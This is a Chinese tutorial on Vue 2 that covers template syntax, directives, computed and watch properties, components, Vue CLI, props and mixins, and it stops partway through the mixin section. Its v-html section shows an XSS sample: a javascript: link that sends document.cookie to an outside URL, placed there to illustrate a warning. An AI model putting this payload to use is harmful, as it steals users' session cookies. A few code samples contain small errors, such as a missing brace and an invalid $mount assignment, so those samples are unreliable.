Vue2学这一篇就够了

第一章. Vue核心

1.1 Vue简介

1.1.1 官网
  1. 英文官网: https://vuejs.org/
  2. 中文官网: https://cn.vuejs.org/
1.1.2 Vue特点
  1. 遵循 MVVM 模式
  2. 编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
  3. 它本身只关注 UI, 也可以引入其它第三方库开发项目

1.2 初始Vue

这里可以参考:创建第一个Vue2项目-----HelloWorld

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        初识Vue:
            1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
            2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
            3.root容器里的代码被称为【Vue模板】;
            4.Vue实例和容器是一一对应的;
            5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
            6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
            7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

            注意区分:js表达式 和 js代码(语句)
                1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
                    (1). a
                    (2). a+b
                    (3). demo(1)
                    (4). x === y ? 'a' : 'b'
                2.js代码(语句)
                            (1). if(){}
                            (2). for(){}
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>hello{{name}}</h1>
    </div>
    <script>
        Vue.config.productionTip = false //阻止 vue 在启动时生成产生提示。

        // 创建Vue实例
        new Vue({
            el:'#root', //el用于指定当前Vue实例为那个容器服务,值通常为css选择器字符串。
            data:{
                //data用于存储数据,数据供el指定的容器使用,暂时写成一个对象
                name:'World'
            }
        })
    </script>
</body>
</html>

1.3 模板语法

1.3.1 插值语法(用于解析标签体内容)

在这里插入图片描述
这里的两个大括号就是模板语法,放到里面的数据不会按照字符串来显示,而是会作为 js 表达式解析,且可以直接读取到data中的所有属性。

1.3.2 指令语法(解析标签属性、解析标签体内容、绑定事件)

在这里插入图片描述
用于解析标签(包括:标签属性、标签体内容、绑定事件…)。

1.4 数据绑定

1.4.1 效果

在这里插入图片描述

1.4.2 单向数据绑定
  1. 语法 v-bind:href="xxx" 或简写为 :href
  2. 特点:数据只能从data流向页面
1.4.3 双向数据绑定
  1. 语法:v-mode:value="xxx" 或简写为 v-model="xxx"
  2. 特点:数据不仅能从data流向页面,还能从页面流向data

1.5 创建Vue实例中的el与data的两种写法

data与el的2种写法

  1. el有2种写法
    (1).new Vue时候配置el属性。
    (2).先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值。
  2. data有2种写法
    (1).对象式
    (2).函数式
    如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
  3. 一个重要的原则:
    由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
<script>
        Vue.config.productionTip = false

        // el的两种写法
        /*const v = new Vue({
            // el:'#root', //第一种写法
            data:{
                name:'张三'
            }
        })
        console.log(v);
        // 这样也能绑定#root,类似(el:'#root')且更灵活
        v.$mount = ('#root') //第二种写法*/

        // data的两种写法
        const v = new Vue({
            el:'#root', 
            // data的第一种写法,对象式
            // data:{
            //     name:'张三'
            // }

            //data的第二种写法,函数式
            data(){
                console.log('@@@',this);
                return {
                    name:'张三'
                }
            }
        })
        console.log(v);

    </script>

1.6 MVVM模型

  1. M:模型(Model):对应data中的数据
  2. V:视图(View):模板
  3. VM:视图模型(ViewModel):Vue实例对象
    在这里插入图片描述

1.7 事件处理

1.7.1 事件的基本使用:
  1. 使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
    举例:有一个按钮,需要触发一个点击事件,执行methods里面的某个配置的函数,如下,则需用v-on:click@click
    <button v-on:click="showInfo1">点我提示信息1</button>
  2. 事件的回调需要配置在methods对象中,最终会在vm上;
  3. methods中配置的函数,不要用箭头函数!否则this就不是vm了;
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
  5. @click=“demo” 和 @click=“demo($event)” 效果一致,但后者可以传参;

如果你有想传参,有向有 $event可以试试@click="demo($event, value)"

1.7.2 Vue中的事件修饰符:
  1. prevent:阻止默认事件(常用);
    <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
    可以触发click事件且不跳转到百度。

  2. stop:阻止事件冒泡(常用);

		<div class="demo1" @click="showInfo">
            <button @click.stop="showInfo">点我提示信息</button>
        </div>

点击button按钮后,不会触发button按钮下div的click事件

  1. once:事件只触发一次(常用);
    <button @click.once="showInfo">点我提示信息</button>
    这个click事件只会触发一次。触发一次后即失效了。

  2. capture:使用事件的捕获模式;

<div class="box1" @click.capture="showMsg(1)">
	div1
	<div class="box2" @click="showMsg(2)">
		div2
	</div>
</div>

div1的click事件里面的函数代码先执行

  1. self:只有event.target是当前操作的元素时才触发事件;
<div class="demo1" @click.self="showInfo">
    <button @click="showInfo">点我提示信息</button>
</div>
  1. passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
<ul @wheel.passive="demo" class="list">
    <li>1</li>
    <li>2</li>
    <li>3</li>
    <li>4</li>
</ul>
1.7.3 Vue中常用的按键别名:
  1. Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

  2. 系统修饰键(用法特殊):ctrl、alt、shift、meta
    (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
    (2).配合keydown使用:正常触发事件。

  3. 也可以使用keyCode去指定具体的按键(不推荐)

  4. Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right

1.8 计算属性

  1. 定义:要用的属性不存在,要通过已有属性计算得来。
  2. 原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
  3. get函数什么时候执行?
    (1).初次读取时会执行一次。
    (2).当依赖的数据发生改变时会被再次调用。
  4. 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
  5. 备注:
    1.计算属性最终会出现在vm上,直接读取使用即可。
    2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
完整写法
<script>
    Vue.config.productionTip = false

    const vm = new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三'
        },
        computed:{
            fullName:{
                // get有什么作用?当有人读取fullName时,get就会被调用,且返回值就做为fullName值
                // get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
                get(){
                    console.log('get被调用了');
                    return this.firstName + '-' + this.lastName;
                },
                // set什么时候调用?当fullName被修改时
                set(value){
                    const arr = value.split('-');
                    this.firstName = arr[0];
                    this.lastName = arr[1];
                }
            }
        }
    })
</script>
简写

简写只能当不修改fullName时,也就是确定不会使用到set

 fullName(){
	console.log('get被调用了');
	return this.firstName + '-' + this.lastName;
}

1.9 监视属性(侦听属性)

监视属性
  1. 当被监视的属性变化时, 回调函数自动调用, 进行相关操作
  2. 监视的属性必须存在,才能进行监视!!
  3. 监视的两种写法:
  • new Vue时传入watch配置
<script>
	Vue.config.productionTip = false
    const vm = new Vue({
        el:'#root',
        data:{
            isHot:true
        },
        computed:{
            info(){
                return this.isHot? '炎热':'凉爽';
            }
        },
        methods:{
            changeWeather() {
                this.isHot = !this.isHot;
            }
        },
        watch:{
            isHot:{
                // handler什么时候调用?当isHot发生改变时。
                handler(newValue,oldValue){
                    console.log('isHot发生修改了',newValue,oldValue);
                }
            }
        }
    })
</script>
  • 通过vm.$watch监视
<script>
    Vue.config.productionTip = false
    const vm = new Vue({
        el:'#root',
        data:{
            isHot:true
        },
        computed:{
            info(){
                return this.isHot? '炎热':'凉爽';
            }
        },
        methods:{
            changeWeather() {
                this.isHot = !this.isHot;
            }
        }
    })
    vm.$watch('isHot',{
        // handler什么时候调用?当isHot发生改变时。
        handler(newValue,oldValue){
            console.log('isHot发生修改了',newValue,oldValue);
        }
    })
</script>
深度监视
  1. Vue中的watch默认不监测对象内部值的改变(一层)。
  2. 配置deep:true可以监测对象内部值改变(多层)。

备注:

  1. Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
  2. 使用watch时根据数据的具体结构,决定是否采用深度监视。
  • new Vue时传入watch配置深度监视
isHot:{
	immediate:true,//初始化时让handler调用一下
	deep:true, // 深度监视
	handler(newValue,oldValue){
		console.log('isHot发生修改了',newValue,oldValue);
	}
}
  • 通过vm.$watch深度监视
vm.$watch('isHot',{
        immediate:true,//初始化时让handler调用一下
        deep:true, // 深度监视
        handler(newValue,oldValue){
            console.log('isHot发生修改了',newValue,oldValue);
        }
    })
监视属性简写

在想简写的情况下,只能是不在深度监视,不在初始化就让handler调用一下的情况下。

  • new Vue时传入watch配置
isHot(newValue,oldValue){
	console.log('isHot发生修改了',newValue,oldValue);
}
  • 通过vm.$watch监视
vm.$watch('isHot',function(newValue,oldValue){
	console.log('isHot发生修改了',newValue,oldValue);
}) 

1.10 样式绑定

1.10.1 理解
  1. 在应用界面中, 某个(些)元素的样式是变化的
  2. class/style 绑定就是专门用来实现动态样式效果的技术
  3. 写法:class=“xxx” xxx可以是字符串、对象、数组。
    字符串写法适用于:类名不确定,要动态获取。
    对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
    数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
  4. style样式
    :style="{fontSize: xxx}“其中xxx是动态值。
    :style=”[a,b]"其中a、b是样式对象。
1.10.2 绑定class样式
<div id="root">
   <!-- 绑定class样式--字符串写法 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

    <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
    <div class="basic" :class="classArr">{{name}}</div> <br/><br/>

    <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
    <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
</div>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            name:'张三',
            mood:'norml',
            classArr:['atname1', 'atname2', 'atname3'],
            classObj:{
                atname1:true,
                atname2:false
            }
        methods:{
            changeMood(){
                const arr = ['happy', 'sad', 'normal'];
                const index = Math.floor(Math.random()*3);
                this.mood = arr[index];
            }
        }
    })
</script>
1.10.3 绑定style样式
<div id="root">
	<!-- 绑定style样式--对象写法 -->
    <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
    <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div> <br/><br/>
    <!-- 绑定style样式--数组写法 -->
    <div class="basic" :style="styleArr">{{name}}</div>
</div>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            name:'张三',
            mood:'norml',
            styleObj:{
                fontSize: '40px',
                color:'red',
            },
            styleObj2:{
                backgroundColor:'orange'
            },
            styleArr:[
                {
                    fontSize: '40px',
                    color:'blue',
                },
                {
                    backgroundColor:'gray'
                }
            ]
        },
        methods:{
            changeMood(){
                const arr = ['happy', 'sad', 'normal'];
                const index = Math.floor(Math.random()*3);
                this.mood = arr[index];
            }
        }
    })
</script>

1.11 样式绑定

  1. v-if
    写法:

(1).v-if=“表达式”

<h2 v-if="false">欢迎来到{{name}}</h2>
<h2 v-if="1 === 1">欢迎来到{{name}}</h2>

(2).v-else-if=“表达式”
(3).v-else=“表达式”

<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div>
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
  1. v-show
    写法:v-show=“表达式”
    适用于:切换频率较高的场景。
    特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
	<h2 v-show="false">欢迎来到{{name}}</h2>
	<h2 v-show="1 === 1">欢迎来到{{name}}</h2>
  1. 备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。

1.12 列表渲染

1.12.1 v-for指令:

1 .用于展示列表数据
2. 语法:v-for=“(item, index) in xxx” :key=“yyy”
3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

<div id="root">
        <!-- 遍历数组 -->
        <h2>人员列表(遍历数组)</h2>
        <ul>
            <li v-for="(p,index) of persons" :key="index">
                {{p.name}}-{{p.age}}
            </li>
        </ul>

        <!-- 遍历对象 -->
        <h2>汽车信息(遍历对象)</h2>
        <ul>
            <li v-for="(value,k) of car" :key="k">
                {{k}}-{{value}}
            </li>
        </ul>

        <!-- 遍历字符串 -->
        <h2>测试遍历字符串(用得少)</h2>
        <ul>
            <li v-for="(char,index) of str" :key="index">
                {{char}}-{{index}}
            </li>
        </ul>
        
        <!-- 遍历指定次数 -->
        <h2>测试遍历指定次数(用得少)</h2>
        <ul>
            <li v-for="(number,index) of 5" :key="index">
                {{index}}-{{number}}
            </li>
        </ul>
    </div>
<script type="text/javascript">
    Vue.config.productionTip = false
    
    new Vue({
        el:'#root',
        data:{
            persons:[
                {id:'001',name:'张三',age:18},
                {id:'002',name:'李四',age:19},
                {id:'003',name:'王五',age:20}
            ],
            car:{
                name:'奥迪A8',
                price:'70万',
                color:'黑色'
            },
            str:'hello'
        }
    })
</script>
1.12.2 key的原理
  1. 虚拟DOM中key的作用:
    key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
    随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

  2. 对比规则:

    1. 旧虚拟DOM中找到了与新虚拟DOM相同的key:
      ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
      ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
    2. 旧虚拟DOM中未找到与新虚拟DOM相同的key
      创建新的真实DOM,随后渲染到到页面。
  3. 用index作为key可能会引发的问题:

    1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
      会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

    2. 如果结构中还包含输入类的DOM:
      会产生错误DOM更新 ==> 界面有问题。

  4. 开发中如何选择key?:

    1. 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
      使用index作为key是没有问题的。
1.12.3 Vue.set 的使用

Vue监视数据的原理:

  1. vue会监视data中所有层次的数据。

  2. 如何监测对象中的数据?
    通过setter实现监视,且要在new Vue时就传入要监测的数据。
    (1).对象中后追加的属性,Vue默认不做响应式处理
    (2).如需给后添加的属性做响应式,请使用如下API:
    Vue.set(target,propertyName/index,value) 或 vm.$set(target,propertyName/index,value)

例如:Vue.set(this.student,'sex','男');vm.$set(this.student,'sex','男');

  1. 如何监测数组中的数据?
    通过包裹数组更新元素的方法实现,本质就是做了两件事:
    (1).调用原生对应的方法对数组进行更新。
    (2).重新解析模板,进而更新页面。

  2. 在Vue修改数组中的某个元素一定要用如下方法:

    1. 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    2. Vue.set() 或 vm.$set()

特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

1.13 收集表单数据:

若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>

  1. 没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
  2. 配置input的value属性:
    (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    (2)v-model的初始值是数组,那么收集的的就是value组成的数组

备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤

1.14 过滤器:

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:

  1. 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
  2. 使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

备注:

  1. 过滤器也可以接收额外参数、多个过滤器也可以串联c
  2. 并没有改变原本的数据, 是产生新的对应的数据
<div id="root">
	<h2>显示格式化后的时间</h2>
	<!-- 计算属性实现 -->
	<h3>现在是:{{fmtTime}}</h3>
	<!-- methods实现 -->
	<h3>现在是:{{getFmtTime()}}</h3>
	<!-- 过滤器实现 -->
	<h3>现在是:{{time | timeFormater}}</h3>
	<!-- 过滤器实现(传参) -->
	<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
	<h3 :x="msg | mySlice">尚硅谷</h3>
</div>

<div id="root2">
	<h2>{{msg | mySlice}}</h2>
</div>
1.14.1 定义全局过滤器
Vue.filter('mySlice',function(value){
	return value.slice(0,4)
})

注意:必须在new Vue实例之前定义全局过滤器

1.14.2 局部过滤器
filters:{
	timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
		// console.log('@',value)
		return dayjs(value).format(str)
	}
}

注意:filters与Vue实例中的data平级

1.15 内置指令

  1. 前面学过的指令:
    v-bind : 单向绑定解析表达式, 可简写为 :xxx
    v-model : 双向数据绑定
    v-for : 遍历数组/对象/字符串
    v-on : 绑定事件监听, 可简写为@
    v-if : 条件渲染(动态控制节点是否存存在)
    v-else : 条件渲染(动态控制节点是否存存在)
    v-show : 条件渲染 (动态控制节点是否展示)
1.15.1 v-text指令

v-text指令:

  1. 作用:向其所在的节点中渲染文本内容。
  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<div id="root">
	<div>你好,{{name}}</div>
	<div v-text="name"></div>
	<div v-text="str"></div>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
		el:'#root',
		data:{
			name:'张三',
			str:'<h3>你好啊!</h3>'
		}
	})
</script>

效果图:会替换掉节点中的内容,当有标签时,也看做文本内容直接显示。
在这里插入图片描述

1.15.2 v-html指令

v-html指令:

  1. 作用:向指定节点中渲染包含html结构的内容。
  2. 与插值语法的区别:
    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
    (2).v-html可以识别html结构。
  3. 严重注意:v-html有安全性问题!!!!
    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div id="root">
	<div>你好,{{name}}</div>
	<div v-html="str"></div>
	<div v-html="str2"></div>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el:'#root',
		data:{
			name:'张三',
			str:'<h3>你好啊!</h3>',
			str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		}
	})
</script>

效果图:会替换掉节点中的内容,当内容中有标签时会解析成html结构渲染到页面。
在这里插入图片描述

1.15.3 v-cloak指令

v-cloak指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
1.15.4 v-once指令

v-once指令:

  1. v-once所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
1.15.5 v-pre指令

v-pre指令:

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el:'#root',
		data:{
			n:1
		}
	})
</script>
<div id="root">
	<h2 v-pre>Vue其实很简单</h2>
	<h2 v-pre>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>

当给h2添加了v-pre后,效果图为:
在这里插入图片描述

<div id="root">
	<h2>Vue其实很简单</h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>

当将h2中的v-pre删除后,效果图为:
在这里插入图片描述
可以看到,在添加了v-pre后,就会跳过改行:如若在没有使用指令语法、没有使用插值语法的节点,会加快编译。

1.16 自定义指令

自定义指令总结:

  1. 定义语法:
    (1).局部指令:
    new Vue({
    directives:{指令名:配置对象}
    })  
    
    
    new Vue({
    directives{指令名:回调函数}
    })
    

(2).全局指令:
Vue.directive(指令名,配置对象)Vue.directive(指令名,回调函数)

  1. 配置对象中常用的3个回调:
    (1).bind:指令与元素成功绑定时调用。
    (2).inserted:指令所在元素被插入页面时调用。
    (3).update:指令所在模板结构被重新解析时调用。

备注:

  1. 指令定义时不加v-,但使用时要加v-;
  2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
1.16.1 定义全局指令
1.16.1.1 函数
Vue.directive('fbind',function(element,binding){
	element.value = binding.value
})
1.16.1.2 对象
Vue.directive('fbind',{
	//指令与元素成功绑定时(一上来)
	bind(element,binding){
		element.value = binding.value
	},
	//指令所在元素被插入页面时
	inserted(element,binding){
		element.focus()
	},
	//指令所在的模板被重新解析时
	update(element,binding){
		element.value = binding.value
	}
})

注意:必须在new Vue实例之前定义全局指令

1.16.2 定义局部指令
1.16.2.1 函数
directives:{
	//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
	/* 'big-number'(element,binding){
	// console.log('big')
	element.innerText = binding.value * 10
	}, */
	big(element,binding){
		console.log('big',this) //注意此处的this是window
		// console.log('big')
		element.innerText = binding.value * 10
	},
}
1.16.2.2 对象
directives:{
	fbind:{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}
}

注意:directives与Vue实例中的data平级

1.17 Vue生命周期

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子。
  2. 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
  4. 生命周期函数中的this指向是vm 或 组件实例对象。
    在这里插入图片描述

常用的生命周期钩子:
5. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
6. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例
7. 销毁后借助Vue开发者工具看不到任何信息。
8. 销毁后自定义事件会失效,但原生DOM事件依然有效。
9. 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

第二章 Vue组件化编程

非单文件组件

Vue中使用组件的三大步骤:
  1. 定义组件(创建组件)
const school = Vue.extend({
	template:`
		<div class="demo">
			<h2>学校名称:{{schoolName}}</h2>
			<h2>学校地址:{{address}}</h2>
			<button @click="showName">点我提示学校名</button>	
		</div>
	`,
	// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
	data(){
		return {
			schoolName:'张三学院',
			address:'北京昌平'
		}
	},
	methods: {
		showName(){
			alert(this.schoolName)
		}
	},
})
  1. 注册组件
//第二步:全局注册组件
Vue.component('hello',hello)

//创建vm
new Vue({
	el:'#root',
	data:{
		msg:'你好啊!'
	},
	//第二步:注册组件(局部注册)
	components:{
		school,
		student
	}
})
  1. 使用组件(写组件标签)
<!-- 第三步:编写组件标签 -->
<school></school>
如何定义一个组件?

使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;

  • 区别如下:
    1. el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
    2. data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
      备注:使用template可以配置组件结构。
如何注册组件?

1.局部注册:靠new Vue的时候传入components选项
2.全局注册:靠Vue.component(‘组件名’,组件)

编写组件标签:

<school></school>

几个注意点:
  1. 关于组件名:

    • 一个单词组成:
      • 第一种写法(首字母小写):school
      • 第二种写法(首字母大写):School
    • 多个单词组成:
      • 第一种写法(kebab-case命名):my-school
      • 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)

    备注:

    1. 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
    2. 可以使用name配置项指定组件在开发者工具中呈现的名字。
  2. 关于组件标签:
    第一种写法:
    第二种写法:
    备注:不用使用脚手架时,会导致后续组件不能渲染。

  3. 一个简写方式:
    const school = Vue.extend(options) 可简写为:const school = options

单文件组件

  1. 创建一个School.vue组件
<template>
    <!-- 组件的结构 -->
    <div class="demo">
        <h2>学校名称:{{ name }}</h2>
        <h2>学校地址:{{ address }}</h2>
        <button @click="showName">点我提示学校名称</button>
    </div>
</template>

<script>
    // 组件交互相关的代码(数据、方法等等)
    export default {
        name:'School',
        data(){
            return{
                name:'张三学院',
                address:'北京昌平'
            }
        },
        methods:{
            showName(){
                alert(this.name);
            }
        }
    }
    
</script>

<style>
    /* 组件的样式 */
    .demo{
        background-color: orange;
    }
</style>
  1. 创建一个App.vue组件,引入其他的School.vue组件
<template>
    <div>
        <School/>
        <Student/>
    </div>
</template>

<script>
    // 引入组件
    import School from './School'
    import Student from './Student'

    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

<style>

</style>
  1. 创建一个main.js文件未并引入到App.vue
import App from './App.vue'

new Vue({
    el:'#root',
    template:`<App></App>`,
    components:{App}
})
  1. 创建index.html文件,将vue.js引入,将main.js引入
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>练习一下单文件组件的语法</title>
    
</head>
<body>
    <div id="root">
        
    </div>
    <script src="../js/vue.js"></script>
    <script src="./main.js"></script>
</body>

</html>

注意:在vue脚手架下即可运行成功

第三章 Vue CLI脚手架

文档:https://cli.vuejs.org/zh/

具体步骤

  1. 第一步(仅第一次执行):全局安装@vue/cli。
    npm install -g @vue/cli
  2. 第二步:切换到你要创建项目的目录,然后使用命令创建项目
    vue create xxxx
  3. 第三步:启动项目
    npm run serve

备注:

  1. 如出现下载缓慢请配置 npm 淘宝镜像:npm config set registry
    https://registry.npm.taobao.org
  2. Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置,
    请执行:vue inspect > output.js

脚手架文件结构

├── node_modules 
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件

关于不同版本的Vue

  1. vue.js与vue.runtime.xxx.js的区别:
    1. vue.js是完整版的Vue,包含:核心功能 + 模板解析器。
    2. vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
  2. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template这个配置项,需要使用render函数接收到的createElement函数去指定具体内容。

vue.config.js配置文件

  1. 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
  2. 使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh

ref属性

  1. 被用来给元素或子组件注册引用信息(id的替代者)
  2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
  3. 使用方式:
    1. 打标识:<h1 ref="xxx">.....</h1>```或 ```<School ref="xxx"></School>
    2. 获取:this.$refs.xxx
<template>
   <div>
      <h1 v-text="msg" ref="title"></h1>
      <button @click="showDOM" ref="btn">点我输出上方的DOM元素</button>
      <School ref="sch"/>
   </div>
</template>

<script>
// 引入School组件
import School from './components/School.vue'
   export default {
   name:'App',
    components:{School},
    data(){
      return {
         msg:'欢迎来学习ref'
      }
    },
    methods:{
      showDOM(){
         console.log(this.$refs.title); //真实DOM元素
         console.log(this.$refs.btn); //真实DOM元素
         console.log(this.$refs.sch); //School组件的元素对象(vc)
      }
    }
   }
</script>

<style>
</style>

props配置项

  1. 功能:让组件接收外部传过来的数据

  2. 传递数据:<Demo name="xxx"/>
    在这里插入图片描述

  3. 接收数据:

    1. 第一种方式(只接收):props:['name']
      在这里插入图片描述

    2. 第二种方式(限制类型):props:{name:String}
      在这里插入图片描述

    3. 第三种方式(限制类型、限制必要性、指定默认值):

       props:{
       	name:{
       	type:String, //类型
       	required:true, //必要性
       	default:'老王' //默认值
       	}
       }

在这里插入图片描述
备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

  1. 在data里面定义一个myAge变量,使用this接收props传递过来变量未age的数据
    在这里插入图片描述
  2. 将动态显示的数据替换成myAge变量
    在这里插入图片描述
  3. 在updateAge点击事件里面修改myAge变量即可
    在这里插入图片描述

mixin(混入)

  1. 功能:可以把多个组件共用的配置提取成一个混入对象
  2. 使用方式:
    • 第一步定义混合(新建一个mixin.js文件):
    export const mixin = {
        methods:{
            showName(){
                alert(this.name)
            }
        },
        mounted() {
            console.log('你好啊!');
        },
    }
    
    export const mixin2 = {
        data() {
            return {
                x:200,
                y:100
            }
        },
    }
    
    • 第二步使用混入:
      全局混入:Vue.mixin(xxx)
      • 在main.js中
        // 引入Vue
        import Vue from 'vue'
        // 引入所有组件的父组件App
        import App from './App'
        //引入mixin.js
        import { mixin,mixin2 } from './mixin'
        // 关闭生产提示
        Vue.config.productionTip = false
        //使用全局混入
        Vue.mixin(mixin)
